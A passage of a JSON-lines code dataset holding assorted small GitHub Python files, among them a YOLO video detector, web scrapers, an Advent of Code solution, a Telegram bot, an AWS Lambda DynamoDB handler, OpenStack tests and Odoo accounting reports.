0.5\niou_thres = 0.1\n\nif video_file is not None:\n # Create a temporary file to store the uploaded video\n with tempfile.NamedTemporaryFile(delete=False, suffix=\".mp4\") as tfile:\n tfile.write(video_file.read())\n\n # Open the video file for reading\n cap = cv2.VideoCapture(tfile.name)\n\n if cap.isOpened():\n st.write(\"Video Playback:\")\n prev_time = 0\n curr_time = 0\n fps_out = st.empty()\n image_out = st.empty()\n\n (success, image) = cap.read()\n\n while success:\n\n prev_time = time.time()\n \n input_shape = (640, 640) # Replace with the expected input shape of your YOLO model\n bgr, ratio, dwdh = letterbox(np.array(image), input_shape)\n rgb = cv2.cvtColor(bgr, cv2.COLOR_BGR2RGB)\n tensor = blob(rgb, return_seg=False)\n tensor = np.ascontiguousarray(tensor)\n\n # Get the serving function\n serving_fn = loaded_model.signatures[\"serving_default\"]\n\n # Prepare the input tensor\n input_name = list(serving_fn.structured_input_signature[1].keys())[0]\n input_tensor = tf.convert_to_tensor(tensor, dtype=tf.float32)\n\n # Make a prediction\n result = serving_fn(**{input_name: input_tensor})['output']\n curr_time = time.time()\n fps = 1.0 / (curr_time - prev_time)\n fps_out.write(f\"FPS:{fps}\")\n\n # result = model_load(model_name, tensor)['output']\n predictions = np.array(result).reshape((5, 8400))\n predictions = predictions.T \n\n # Filter out object confidence scores below threshold\n scores = np.max(predictions[:, 4:], axis=1)\n predictions = predictions[scores > conf_threshold, :]\n scores = scores[scores > conf_threshold] \n class_ids = np.argmax(predictions[:, 4:], axis=1)\n\n # Get bounding boxes for each object\n boxes = predictions[:, :4]\n\n #rescale box\n input_shape = np.array([640, 640, 640, 640])\n boxes = np.divide(boxes, input_shape, dtype=np.float32)\n boxes *= np.array([640, 640, 640, 640])\n boxes = boxes.astype(np.int32)\n\n indices = nms(boxes, scores, iou_thres)\n image_draw = rgb.copy()\n\n for (bbox, score, label) in zip(xywh2xyxy(boxes[indices]), scores[indices], class_ids[indices]):\n bbox = bbox.round().astype(np.int32).tolist()\n cls_id = int(label)\n color = (0,255,0)\n cv2.rectangle(image_draw, tuple(bbox[:2]), tuple(bbox[2:]), color, 2)\n cv2.putText(image_draw, f'face:{int(score*100)}',\n (bbox[0], bbox[1] - 2),\n cv2.FONT_HERSHEY_PLAIN,\n 1, [225, 255, 255],\n thickness=1)\n \n \n\n output_image = cv2.cvtColor(image_draw, cv2.COLOR_BGR2RGB)\n # Display the frame in Streamlit\n image_out.image(output_image, channels=\"BGR\", use_column_width=True)\n # cv2.imwrite(f\"./detected_images/rasm.png\", output_image)\n\n key = cv2.waitKey(1) & 0xFF\n if key == ord(\"q\"):\n break\n\n (success, image) = cap.read()\n # Release everything after the job is finished\n cap.release()\n # out.release()\n cv2.destroyAllWindows()\n else:\n st.write(\"Error: Unable to open the video file.\")\nelse:\n st.write(\"Please upload a video file to display.\")\n","repo_name":"makhmudjumanazarov/Tensorflow-Serving-via-REST-API-and-gRPC","sub_path":"stream.py","file_name":"stream.py","file_ext":"py","file_size_in_byte":4044,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"62"} +{"seq_id":"4397836803","text":"from selenium import webdriver\r\nfrom selenium.webdriver.common.by import By\r\nfrom bs4 import BeautifulSoup\r\nimport time\r\nimport csv\r\nimport pandas as pd\r\n\r\n# NASA Exoplanet URL\r\nSTART_URL = \"https://en.wikipedia.org/wiki/List_of_brightest_stars_and_other_record_stars\"\r\n\r\n# Webdriver\r\nbrowser = webdriver.Chrome(\"D:/Setup/chromedriver_win32/chromedriver.exe\")\r\nbrowser.get(START_URL)\r\n\r\ntime.sleep(10)\r\n\r\nstars_data = []\r\n\r\n# Define Exoplanet Data Scrapping Method\r\ndef scrape():\r\n star_data = []\r\n for i in range(0,98):\r\n soup = BeautifulSoup(browser.page_source, \"html.parser\")\r\n for th_tag in soup.find_all(\"th\", attrs = {\"class\", \"name\"}):\r\n tr_tags = th_tag.find_all(\"tr\")\r\n temp_list = []\r\n for index, tr_tag in enumerate(tr_tags):\r\n if index == 0:\r\n temp_list.append(tr_tag.find_all(\"a\")[0].contents[0])\r\n else:\r\n try:\r\n temp_list.append(tr_tag.contents[0])\r\n except:\r\n temp_list.append(\"\")\r\n star_data.append(temp_list)\r\n browser.find_element(by=By.XPATH, value='//*[@id=\"primary_column\"]/footer/div/div/div/nav/span[2]/a').click()\r\n \r\n #print(planet_data[1])\r\n\r\n \r\n \r\n\r\n\r\n# Calling Method \r\nscrape()\r\n\r\n# Define Header\r\nheaders = [\"name\", \"distance_from_earth\", \"star_mass\", \"star_radius\"]\r\n\r\n# Define pandas DataFrame \r\nstar_df_1 = pd.DataFrame(stars_data, columns= headers)\r\n\r\n# Convert to CSV\r\nstar_df_1.to_csv(\"scraped_data.csv\", index = True, index_label=\"id\")\r\nwith open(\"scraped_data.csv\", \"w\")as f:\r\n csvwriter = csv.writer(f) \r\n csvwriter.writerow(headers)\r\n csvwriter.writerows(stars_data)","repo_name":"Yukta269/project-141","sub_path":"stars.py","file_name":"stars.py","file_ext":"py","file_size_in_byte":1750,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"62"} +{"seq_id":"25759436317","text":"import sys\nimport re\n\ndef main(args):\n pre = lambda x: x.rstrip('\\n')\n if \"-ex\" in args:\n lines = getLines(\"data.ex.txt\", pred = pre)\n else:\n lines = getLines(\"data.in.txt\", pred = pre)\n printRes = \"-v\" in args\n # print your output\n src = (500, 0)\n walls = getWalls(lines)\n if printRes: print(walls)\n particles = pourParticles(src, walls)\n if printRes: print(f\"\\n{particles}\")\n print(f\"part 1: {len(particles)}\")\n\n walls = getWalls(lines)\n addFloor(src, walls)\n if printRes: print(f\"\\n\\n{walls}\")\n particles = pourParticles(src, walls)\n if printRes: print(f\"\\n{particles}\")\n print(f\"part 2: {len(particles)}\")\n\ndef pourParticles(src, walls):\n dropParticle.hmap = {}\n src = (src[0], src[1] - 1)\n pout = []\n p = dropParticle(src, walls)\n while p is not None:\n if len(pout) % 5000 == 0 and len(pout) > 0:\n print(f\"\\t{len(pout)} particles...\")\n pout.append(p)\n p = dropParticle(src, walls)\n return pout\n\ndef dropParticle(src, walls):\n xh, yh = src # here\n if xh not in dropParticle.hmap:\n dropParticle.hmap[xh] = {y for x, y in walls if x == xh}\n landing = dropParticle.hmap[xh]\n # print(landing)\n while len(landing) and yh + 1 < min(landing):\n # print(landing)\n yh = min(landing) - 1\n slide = True\n while (xh, yh + 1) in walls and slide:\n if (xh - 1, yh + 1) in walls:\n if (xh + 1, yh + 1) in walls:\n slide = False\n else:\n xh, yh = (xh + 1, yh + 1)\n else:\n xh, yh = (xh - 1, yh + 1)\n pass\n if xh not in dropParticle.hmap:\n dropParticle.hmap[xh] = {y for x, y in walls if x == xh}\n landing = [y for y in dropParticle.hmap[xh] if y > yh]\n restp = (xh, yh)\n if len(landing) and restp != src:\n if xh not in dropParticle.hmap:\n dropParticle.hmap[xh] = {y for x, y in walls if x == xh}\n dropParticle.hmap[xh].add(yh)\n walls.add((xh, yh))\n return (xh, yh)\n else:\n return None\ndropParticle.hmap = {}\n\ndef addFloor(src, walls):\n ymax = max([y for x, y in walls]) + 2\n walls.update({(i, ymax) for i in irange(src[0] - ymax, src[0] + ymax)})\n\ndef getWalls(lines):\n out = set()\n for line in lines:\n coords = [(int(x), int(y)) for x, y in re.findall(\"(\\d+),(\\d+)\", line)]\n xfro, yfro = coords.pop(0)\n for xto, yto in coords:\n if (xfro == xto):\n out.update({(xto, i) for i in irange(yfro, yto)})\n elif (yfro == yto):\n out.update({(i, yto) for i in irange(xfro, xto)})\n xfro, yfro = xto, yto\n return out\n\ndef irange(x, y):\n a = min(x, y)\n b = max(x, y)\n return range(a, b + 1)\n\ndef getLines(fn, **kw):\n pred = (lambda x: x) if \"pred\" not in kw else kw[\"pred\"]\n output = []\n with open(fn) as f:\n line = f.readline()\n while line:\n output.append(pred(line))\n line = f.readline()\n return output\n\nif __name__ == '__main__':\n main(sys.argv)\n","repo_name":"SlimRunner/advent-of-code","sub_path":"year-2022/14-day/solve.py","file_name":"solve.py","file_ext":"py","file_size_in_byte":2835,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"62"} +{"seq_id":"29407008995","text":"import telebot\nfrom telebot import types\n\nbot = telebot.TeleBot('ваш токен')\n\n@bot.message_handler(commands=['start'])\ndef start(message):\n\n markup = types.ReplyKeyboardMarkup(resize_keyboard=True)\n btn1 = types.KeyboardButton(\"Привет\")\n markup.add(btn1)\n bot.send_message(message.from_user.id, \"👋 Привет! Я тестовый бот, рад знакомству\", reply_markup=markup)\n\n@bot.message_handler(content_types=['text'])\ndef get_text_messages(message):\n\n if message.text == 'Привет':\n markup = types.ReplyKeyboardMarkup(resize_keyboard=True)\n btn1 = types.KeyboardButton('Пост об увлечении')\n btn2 = types.KeyboardButton('Селфи')\n btn3 = types.KeyboardButton('Фото')\n btn4 = types.KeyboardButton('Прислать войсы')\n btn5 = types.KeyboardButton('Ссылка на git')\n markup.add(btn1, btn2, btn3, btn4, btn5)\n bot.send_message(message.from_user.id, '❓ Задайте интересующий вас вопрос', reply_markup=markup) \n\n\n elif message.text == 'Пост об увлечении':\n bot.send_message(message.from_user.id, '''Я довольно разносторонний человек и увлечений много, тяжело выделить что-то одно главное.\n Можно сказать это программирование, так как в силу своей профессии провожу за кодом достаточно много времени.\n Больших достижений и проектов не имею, в большей степени помогаю ребятам исправлять ошибки, объяснять что-то ну и так же вместе с ними учиться.\n Я постоянно нахожусь в процессе самообучения, не важно какое это направление''', parse_mode='Markdown')\n elif message.text == 'Ссылка на git':\n bot.send_message(message.from_user.id, 'https://github.com/K1rusH/telbot', parse_mode='Markdown') \n elif message.text == 'Селфи':\n bot.send_photo(message.from_user.id, photo=open('images/sel.jpg', 'rb'))\n elif message.text == 'Фото':\n bot.send_photo(message.from_user.id, 'https://sun9-15.userapi.com/c4124/u25310159/73566482/x_41387735.jpg')\n elif message.text == 'Прислать войсы':\n markup = types.ReplyKeyboardMarkup(resize_keyboard=True)\n btn1 = types.KeyboardButton('о ChatGPT')\n btn2 = types.KeyboardButton('Базы данных')\n btn3 = types.KeyboardButton('Первая любовь')\n markup.add(btn1, btn2, btn3)\n bot.send_message(message.from_user.id, '❓ Какой войс интересует ?', reply_markup=markup)\n if message.text == 'о ChatGPT':\n bot.send_audio(message.from_user.id, audio=open('voice/msg856303179-27292.ogg', 'rb'))\n elif message.text == 'Базы данных':\n bot.send_audio(message.from_user.id, audio=open('voice/msg856303179-27294.ogg', 'rb'))\n elif message.text == 'Первая любовь':\n bot.send_audio(message.from_user.id, audio=open('voice/msg856303179-27298.ogg', 'rb')) \n\nbot.polling(none_stop=True, interval=0)\n\n","repo_name":"K1rusH/telbot","sub_path":"telbot.py","file_name":"telbot.py","file_ext":"py","file_size_in_byte":3497,"program_lang":"python","lang":"ru","doc_type":"code","stars":0,"dataset":"github-code","pt":"62"} +{"seq_id":"28575172304","text":"import asyncio\nimport genpy\nfrom typing import Optional, Union\nimport rospy\n\n\nclass Rate(rospy.Rate):\n async def sleep(self):\n \"\"\"\n :note Copy-pasted from rospy.timer\n \"\"\"\n curr_time = rospy.rostime.get_rostime()\n try:\n await sleep(self._remaining(curr_time))\n except rospy.exceptions.ROSTimeMovedBackwardsException:\n if not self._reset:\n raise\n self.last_time = rospy.rostime.get_rostime()\n return\n self.last_time = self.last_time + self.sleep_dur\n\n # detect time jumping forwards, as well as loops that are\n # inherently too slow\n if curr_time - self.last_time > self.sleep_dur * 2:\n self.last_time = curr_time\n\n\nasync def sleep(duration: Union[float, genpy.Duration], loop: Optional[asyncio.AbstractEventLoop] = None):\n \"\"\"\n Sleep for a given duration, using the ROS clock if needed (i.e. if /use_sim_time == True).\n :param duration: The duration to sleep for.\n :param loop: An event loop\n \"\"\"\n if rospy.rostime.is_wallclock():\n if isinstance(duration, genpy.Duration):\n duration = duration.to_sec()\n\n await asyncio.sleep(duration, loop=loop)\n\n else:\n if loop is None:\n loop = asyncio.get_running_loop()\n\n await loop.run_in_executor(None, rospy.timer.sleep, duration)\n","repo_name":"Hugal31/arospy","sub_path":"arospy/timer.py","file_name":"timer.py","file_ext":"py","file_size_in_byte":1385,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"62"} +{"seq_id":"19014968628","text":"# Databricks notebook source\nfrom taf.APL.APL_Runner import APL_Runner\n\n# COMMAND ----------\n\napl = APL_Runner(da_schema = dbutils.widgets.get(\"da_schema\")\n ,reporting_period = dbutils.widgets.get(\"reporting_period\")\n ,state_code = dbutils.widgets.get(\"state_code\")\n ,run_id = dbutils.widgets.get(\"run_id\")\n ,job_id = dbutils.widgets.get(\"job_id\"))\n\n# COMMAND ----------\n\napl.job_control_wrt(\"APL\")\n\n# COMMAND ----------\n\napl.job_control_updt()\n\n# COMMAND ----------\n\napl.print()\n\n# COMMAND ----------\n\napl.init()\n\n# COMMAND ----------\n\napl.run() \n\n# COMMAND ----------\n\napl.view_plan()\n\n# COMMAND ----------\n\ndisplay(apl.audit())\n\n# COMMAND ----------\n\n#TABLE_NAME = \"LCTN\"\n#FIL_4TH_NODE = \"LCM\"\n \n#de.get_ann_count(TABLE_NAME)\n#de.create_meta_info(TABLE_NAME, FIL_4TH_NODE)\n#de.create_efts_metadata()\n\n# COMMAND ----------\n\n#TABLE_NAME = \"SAREA\"\n#FIL_4TH_NODE = \"SAM\"\n \n#de.get_ann_count(TABLE_NAME)\n#de.create_meta_info(TABLE_NAME, FIL_4TH_NODE)\n#de.create_efts_metadata()\n\n# COMMAND ----------\n\n#TABLE_NAME = \"ENRLMT\"\n#FIL_4TH_NODE = \"EPM\"\n \n#de.get_ann_count(TABLE_NAME)\n#de.create_meta_info(TABLE_NAME, FIL_4TH_NODE)\n#de.create_efts_metadata()\n\n# COMMAND ----------\n\n#TABLE_NAME = \"OA\"\n#FIL_4TH_NODE = \"OAM\"\n \n#de.get_ann_count(TABLE_NAME)\n#de.create_meta_info(TABLE_NAME, FIL_4TH_NODE)\n#de.create_efts_metadata()\n\n# COMMAND ----------\n\n#TABLE_NAME = \"BASE\"\n#FIL_4TH_NODE = \"BSM\"\n \n#de.get_ann_count(TABLE_NAME)\n#de.create_meta_info(TABLE_NAME, FIL_4TH_NODE)\n#de.create_efts_metadata()\n\n# COMMAND ----------\n\napl.job_control_updt2()\n","repo_name":"Enterprise-CMCS/T-MSIS-Analytic-File-Generation-Python","sub_path":".databricks/notebooks/test_runners/apl_runner.py","file_name":"apl_runner.py","file_ext":"py","file_size_in_byte":1634,"program_lang":"python","lang":"en","doc_type":"code","stars":2,"dataset":"github-code","pt":"62"} +{"seq_id":"18538499682","text":"from unicodedata import name\r\nfrom b_a_art import logo\r\nimport os\r\n\r\n\r\ndef clear():\r\n return os.system('cls')\r\n\r\n\r\nprint(logo)\r\n\r\nbids = {}\r\nbidding_finished = False\r\n\r\n\r\ndef highest_bidder(bidding_record):\r\n highest_bid = 0\r\n winner = \"\"\r\n for bidder in bidding_record:\r\n bid_amount = bidding_record[bidder]\r\n if bid_amount > highest_bid:\r\n highest_bid = bid_amount\r\n winner = bidder\r\n print(f\"The winner is {winner} with a bid of ${highest_bid}\")\r\n\r\n\r\nwhile not bidding_finished:\r\n name = input(\"What is your name?\")\r\n price = int(input(\"What is your bidding value?\"))\r\n bids[name] = price\r\n\r\n should_continue = input(\r\n \"Are there any other bidders? Type 'yes or 'no'.\\n\")\r\n if should_continue == \"no\":\r\n bidding_finished = True\r\n highest_bidder(bids)\r\n elif should_continue == \"yes\":\r\n clear()\r\n","repo_name":"WinTer1165/My-100-Days-of-Code-in-Python","sub_path":"day-009-project/blind-auction/b-a-main.py","file_name":"b-a-main.py","file_ext":"py","file_size_in_byte":896,"program_lang":"python","lang":"en","doc_type":"code","stars":4,"dataset":"github-code","pt":"62"} +{"seq_id":"2589344514","text":"#!/usr/bin/env python\nfrom setuptools import setup\n\n__version__ = '0.1'\n\nsetup(name = 'mealta',\n version = __version__,\n python_requires='>3.5.2',\n description = 'metabolic rate estimator',\n install_requires = ['numpy', 'matplotlib', 'h5py', 'pandas'],\n provides = ['mealta'],\n packages = ['mealta'],\n include_package_data=True, \n package_data={'mealta': ['dat/*']}\n )\n","repo_name":"changhoonhahn/mealta","sub_path":"setup.py","file_name":"setup.py","file_ext":"py","file_size_in_byte":414,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"62"} +{"seq_id":"73782403718","text":"## Can use OpenAI Agent as well instead of HfAgent\n# from transformers import OpenAiAgent\n# agent = OpenAiAgent(model=\"text-davinci-003\", api_key=\"\")\n\nfrom huggingface_hub import login\nfrom transformers import HfAgent\nfrom PIL import Image\nimport sounddevice as sd\nimport pdfplumber\n\n# Login to HuggingFace\nlogin(\"\")\n\n## Initialise HuggingFace Agent\n# Starcoder\nagent = HfAgent(\"https://api-inference.huggingface.co/models/bigcode/starcoder\")\n# StarcoderBase\n# agent = HfAgent(\"https://api-inference.huggingface.co/models/bigcode/starcoderbase\")\n# OpenAssistant\n# agent = HfAgent(url_endpoint=\"https://api-inference.huggingface.co/models/OpenAssistant/oasst-sft-4-pythia-12b-epoch-3.5\")\n\n\n## Image Generation Code\n# Generate code from prompt. Works with Starcoder and StarcoderBase agent.\ncode = agent.run(\"Draw me a picture of rivers and lakes\", return_code=True)\nprint('Code:-')\nprint(code)\n\n\n## Image to Text\n# Load the image\nimage_path = \"beaver.png\"\nimage = Image.open(image_path)\n\n# Get the caption\ncaption = agent.run(\"Caption the following image\", image=image)\nprint('Caption:',caption)\n\n\n## Text to Speech\n# Get Audio Array\naudio_data = agent.run(\"Read the following text out loud\", text=\"My name is Dhruv\")\n\n# Play the audio\nsd.play(audio_data, samplerate=20000) # Adjust the samplerate if necessary\n\n# Wait until the audio finishes playing\nsd.wait()\n\n\n## PDF Question Answering\n# Converting PDF to text\nwith pdfplumber.open(\"Dhruv_Essay.pdf\") as pdf:\n # Extract the text from the PDF document\n text = \"\"\n for page in pdf.pages:\n text += page.extract_text()\n\n# Text Question Answering\nagent.run(\n \"In the following `text`, what is Dhruv's aim?\",\n text=text,\n)\n\n\n## Text Translation Code\ncode = agent.run(\n \"Translate the following `text` to German\",\n text='My name is Dhruv.',\n return_code=True\n)\nprint('Code:-')\nprint(code)\n\n\n## Summary of link\nsummary = agent.run(\"Summarize http://hf.co\")\nprint('Summary:', summary)","repo_name":"dhruv1220/HuggingFace-Transformers-Agent","sub_path":"main.py","file_name":"main.py","file_ext":"py","file_size_in_byte":2000,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"62"} +{"seq_id":"38579960181","text":"# Licensed under the Apache License, Version 2.0 (the \"License\"); you may\n# not use this file except in compliance with the License. You may obtain\n# a copy of the License at\n#\n# http://www.apache.org/licenses/LICENSE-2.0\n#\n# Unless required by applicable law or agreed to in writing, software\n# distributed under the License is distributed on an \"AS IS\" BASIS, WITHOUT\n# WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. See the\n# License for the specific language governing permissions and limitations\n# under the License.\n\nfrom unittest import mock\n\nfrom rally_openstack.task.contexts.magnum import cluster_templates\nfrom rally_openstack.task.scenarios.magnum import utils as magnum_utils\nfrom tests.unit import fakes\nfrom tests.unit import test\n\n\nBASE_CTX = \"rally.task.context\"\nCTX = \"rally_openstack.task.contexts\"\nBASE_SCN = \"rally.task.scenarios\"\nSCN = \"rally_openstack.task.scenarios\"\n\n\nclass ClusterTemplatesGeneratorTestCase(test.ScenarioTestCase):\n\n \"\"\"Generate tenants.\"\"\"\n def _gen_tenants(self, count):\n tenants = {}\n for id_ in range(count):\n tenants[str(id_)] = dict(name=str(id_))\n return tenants\n\n @mock.patch(\"%s.magnum.utils.MagnumScenario.\"\n \"_create_cluster_template\" % SCN,\n return_value=fakes.FakeClusterTemplate(id=\"uuid\"))\n def test_setup(self, mock__create_cluster_template):\n tenants_count = 2\n users_per_tenant = 5\n\n tenants = self._gen_tenants(tenants_count)\n users = []\n for ten_id in tenants:\n for i in range(users_per_tenant):\n users.append({\"id\": i, \"tenant_id\": ten_id,\n \"credential\": mock.MagicMock()})\n\n self.context.update({\n \"config\": {\n \"users\": {\n \"tenants\": tenants_count,\n \"users_per_tenant\": users_per_tenant,\n \"concurrent\": 10,\n },\n \"cluster_templates\": {\n \"dns_nameserver\": \"8.8.8.8\",\n \"external_network_id\": \"public\",\n \"flavor_id\": \"m1.small\",\n \"docker_volume_size\": 5,\n \"coe\": \"kubernetes\",\n \"image_id\": \"fedora-atomic-latest\",\n \"network_driver\": \"flannel\"\n }\n },\n \"users\": users,\n \"tenants\": tenants\n })\n\n ct_ctx = cluster_templates.ClusterTemplateGenerator(self.context)\n ct_ctx.setup()\n\n ct_ctx_config = self.context[\"config\"][\"cluster_templates\"]\n image_id = ct_ctx_config.get(\"image_id\")\n external_network_id = ct_ctx_config.get(\n \"external_network_id\")\n dns_nameserver = ct_ctx_config.get(\"dns_nameserver\")\n flavor_id = ct_ctx_config.get(\"flavor_id\")\n docker_volume_size = ct_ctx_config.get(\"docker_volume_size\")\n network_driver = ct_ctx_config.get(\"network_driver\")\n coe = ct_ctx_config.get(\"coe\")\n mock_calls = [mock.call(image_id=image_id,\n external_network_id=external_network_id,\n dns_nameserver=dns_nameserver,\n flavor_id=flavor_id,\n docker_volume_size=docker_volume_size,\n network_driver=network_driver, coe=coe)\n for i in range(tenants_count)]\n mock__create_cluster_template.assert_has_calls(mock_calls)\n\n # check that stack ids have been saved in context\n for ten_id in self.context[\"tenants\"].keys():\n self.assertIsNotNone(\n self.context[\"tenants\"][ten_id][\"cluster_template\"])\n\n @mock.patch(\"%s.magnum.cluster_templates.resource_manager.cleanup\" % CTX)\n def test_cleanup(self, mock_cleanup):\n self.context.update({\n \"users\": mock.MagicMock()\n })\n ct_ctx = cluster_templates.ClusterTemplateGenerator(self.context)\n ct_ctx.cleanup()\n mock_cleanup.assert_called_once_with(\n names=[\"magnum.cluster_templates\"],\n users=self.context[\"users\"],\n superclass=magnum_utils.MagnumScenario,\n task_id=self.context[\"owner_id\"])\n","repo_name":"openstack/rally-openstack","sub_path":"tests/unit/task/contexts/magnum/test_cluster_templates.py","file_name":"test_cluster_templates.py","file_ext":"py","file_size_in_byte":4273,"program_lang":"python","lang":"en","doc_type":"code","stars":37,"dataset":"github-code","pt":"62"} +{"seq_id":"43551080112","text":"import torch\nimport numpy as np\n\ndef cal_IOU_wFeatureMap(feature_map, vector):\n fm = feature_map\n vector = vector.unsqueeze(0).unsqueeze(0).unsqueeze(0).unsqueeze(0)\n vector = vector.repeat(fm.shape[0],fm.shape[1],fm.shape[2],fm.shape[3],1)\n\n cat_M_x_GT = torch.cat((vector[...,0:1],vector[...,2:3]), dim=-1)\n cat_M_y_GT = torch.cat((vector[...,1:2],vector[...,3:4]), dim=-1)\n cat_M_x_FM = torch.cat((feature_map[...,0:1],feature_map[...,2:3]), dim=-1)\n cat_M_y_FM = torch.cat((feature_map[...,1:2],feature_map[...,3:4]), dim=-1)\n\n max_M_x_GT = torch.max(cat_M_x_GT, dim=-1).values.unsqueeze(-1)\n max_M_y_GT = torch.max(cat_M_y_GT, dim=-1).values.unsqueeze(-1)\n max_M_x_FM = torch.max(cat_M_x_FM, dim=-1).values.unsqueeze(-1)\n max_M_y_FM = torch.max(cat_M_y_FM, dim=-1).values.unsqueeze(-1)\n\n min_M_x_GT = torch.min(cat_M_x_GT, dim=-1).values.unsqueeze(-1)\n min_M_y_GT = torch.min(cat_M_y_GT, dim=-1).values.unsqueeze(-1)\n min_M_x_FM = torch.min(cat_M_x_FM, dim=-1).values.unsqueeze(-1)\n min_M_y_FM = torch.min(cat_M_y_FM, dim=-1).values.unsqueeze(-1)\n\n minmax_M_x = torch.min(torch.cat((max_M_x_GT, max_M_x_FM), dim=-1), dim=-1).values.unsqueeze(-1)\n maxmin_M_x = torch.max(torch.cat((min_M_x_GT, min_M_x_FM), dim=-1), dim=-1).values.unsqueeze(-1)\n minmax_M_y = torch.min(torch.cat((max_M_y_GT, max_M_y_FM), dim=-1), dim=-1).values.unsqueeze(-1)\n maxmin_M_y = torch.max(torch.cat((min_M_y_GT, min_M_y_FM), dim=-1), dim=-1).values.unsqueeze(-1)\n\n w_M = torch.clip(torch.min(minmax_M_x-maxmin_M_x, dim=-1).values, 0, 1280).unsqueeze(-1)\n h_M = torch.clip(torch.min(minmax_M_y-maxmin_M_y, dim=-1).values, 0, 1280).unsqueeze(-1)\n\n inter_M = w_M*h_M\n\n fm_Area_M = (fm[...,2:3] - fm[...,0:1])*(fm[...,3:4] - fm[...,1:2])\n gt_Area_M = (vector[...,2:3] - vector[...,0:1])*(vector[...,3:4] - vector[...,1:2])\n IoU_M = inter_M/(fm_Area_M+gt_Area_M-inter_M)\n\n check = IoU_M>=0.5\n indices = check.nonzero()\n return torch.tensor(np.unique(indices[:,2:4].cpu().numpy(),axis=0))\n\n\ndef test():\n Test_gt_vector = torch.Tensor([1, 1, 2, 2])\n\n Test_feature_map = torch.zeros([1, 3, 160, 160, 4])\n\n for i in range(160):\n for j in range(160):\n for k in range(3):\n Test_feature_map[0, k, i, j, 0] = i + k\n Test_feature_map[0, k, i, j, 1] = j + k\n Test_feature_map[0, k, i, j, 2] = i + 1 + k\n Test_feature_map[0, k, i, j, 3] = j + 1 + k\n indices = cal_IOU_wFeatureMap(Test_feature_map, Test_gt_vector)\n print(indices)\n print(\"Test Done\")\n\nif __name__ == \"__main__\":\n test()","repo_name":"GGGuni/YOLOv5","sub_path":"iou.py","file_name":"iou.py","file_ext":"py","file_size_in_byte":2634,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"62"} +{"seq_id":"29922638866","text":"import boto3, logging, json\n\n\ndef lambda_handler(event, context):\n logging.getLogger().setLevel(logging.INFO)\n logging.info('looking at event {}'.format(event))\n\n # Access to dynamodb and entities table\n dynamodb = boto3.resource('dynamodb')\n table = dynamodb.Table('generic-entities')\n response = None\n\n code = ''\n\n if 'queryStringParameters' in event:\n logging.info('looking at queryStringParameters {}'.format(event['queryStringParameters']))\n method = event['httpMethod']\n\n if method == 'GET':\n try:\n if 'pathParameters' in event:\n code = event['pathParameters']['code']\n except Exception as e:\n code = ''\n\n if code == '':\n # Read data from database\n response = table.scan(\n Select=\"ALL_ATTRIBUTES\",\n )\n else:\n response = table.get_item(\n Key={\n 'code': code\n }\n )\n\n if method == 'PUT':\n # Create object based on the payload\n body = event['body']\n table.put_item(\n Item = json.loads(body)\n )\n else:\n code = ''\n\n logging.info('looking at dynamodb {}'.format(response))\n\n return {\n \"statusCode\": 200,\n \"headers\": {\n \"Access-Control-Allow-Origin\" : \"*\",\n \"Access-Control-Allow-Credentials\" : \"true\"\n },\n \"body\": json.dumps(response),\n #\"body\": \"parameteer: \" + json.dumps(event) + \", query parameteer \" + str(code) ,\n #\"body\": \"method \" + (method) + \" body \" + body,\n \"isBase64Encoded\": 'false'\n }\n","repo_name":"danielalejandrohc/aws-serverless-application","sub_path":"lambda/file.py","file_name":"file.py","file_ext":"py","file_size_in_byte":1748,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"62"} +{"seq_id":"26769151866","text":"import time\nfrom odoo import api, models, _ , fields\nfrom odoo.exceptions import UserError\n\nclass AccountReportGeneralLedger(models.TransientModel):\n _inherit = 'account.report.general.ledger'\n\n account_ids = fields.Many2many(comodel_name='account.account', string='Accounts',required=True)\n\nclass ReportGeneralLedger(models.AbstractModel):\n _inherit = 'report.account.report_generalledger'\n\n @api.model\n def render_html(self, docids, data=None):\n if not data.get('form') or not self.env.context.get('active_model'):\n raise UserError(_(\"Form content is missing, this report cannot be printed.\"))\n\n self.model = self.env.context.get('active_model')\n docs = self.env[self.model].browse(self.env.context.get('active_ids', []))\n account_ids = docs.account_ids\n init_balance = data['form'].get('initial_balance', True)\n sortby = data['form'].get('sortby', 'sort_date')\n display_account = data['form']['display_account']\n codes = []\n if data['form'].get('journal_ids', False):\n codes = [journal.code for journal in self.env['account.journal'].search([('id', 'in', data['form']['journal_ids'])])]\n\n accounts = docs if self.model == 'account.account' else account_ids\n accounts_res = self.with_context(data['form'].get('used_context',{}))._get_account_move_entry(accounts, init_balance, sortby, display_account)\n docargs = {\n 'doc_ids': docids,\n 'doc_model': self.model,\n 'data': data['form'],\n 'docs': docs,\n 'time': time,\n 'Accounts': accounts_res,\n 'print_journal': codes,\n }\n return self.env['report'].render('account.report_generalledger', docargs)\n\n\nclass AccountReportPartnerLedger(models.TransientModel):\n _inherit = 'account.report.partner.ledger'\n\n partner_ids = fields.Many2many(comodel_name='res.partner', string='Partners',required=True)\n\n\nclass ReportGeneralLedger(models.AbstractModel):\n _inherit = 'report.account.report_partnerledger'\n\n @api.model\n def render_html(self, docids, data=None):\n if not data.get('form'):\n raise UserError(_(\"Form content is missing, this report cannot be printed.\"))\n\n data['computed'] = {}\n\n obj_partner = self.env['res.partner']\n query_get_data = self.env['account.move.line'].with_context(data['form'].get('used_context', {}))._query_get()\n data['computed']['move_state'] = ['draft', 'posted']\n if data['form'].get('target_move', 'all') == 'posted':\n data['computed']['move_state'] = ['posted']\n result_selection = data['form'].get('result_selection', 'customer')\n if result_selection == 'supplier':\n data['computed']['ACCOUNT_TYPE'] = ['payable']\n elif result_selection == 'customer':\n data['computed']['ACCOUNT_TYPE'] = ['receivable']\n else:\n data['computed']['ACCOUNT_TYPE'] = ['payable', 'receivable']\n\n self.env.cr.execute(\"\"\"\n SELECT a.id\n FROM account_account a\n WHERE a.internal_type IN %s\n AND NOT a.deprecated\"\"\", (tuple(data['computed']['ACCOUNT_TYPE']),))\n 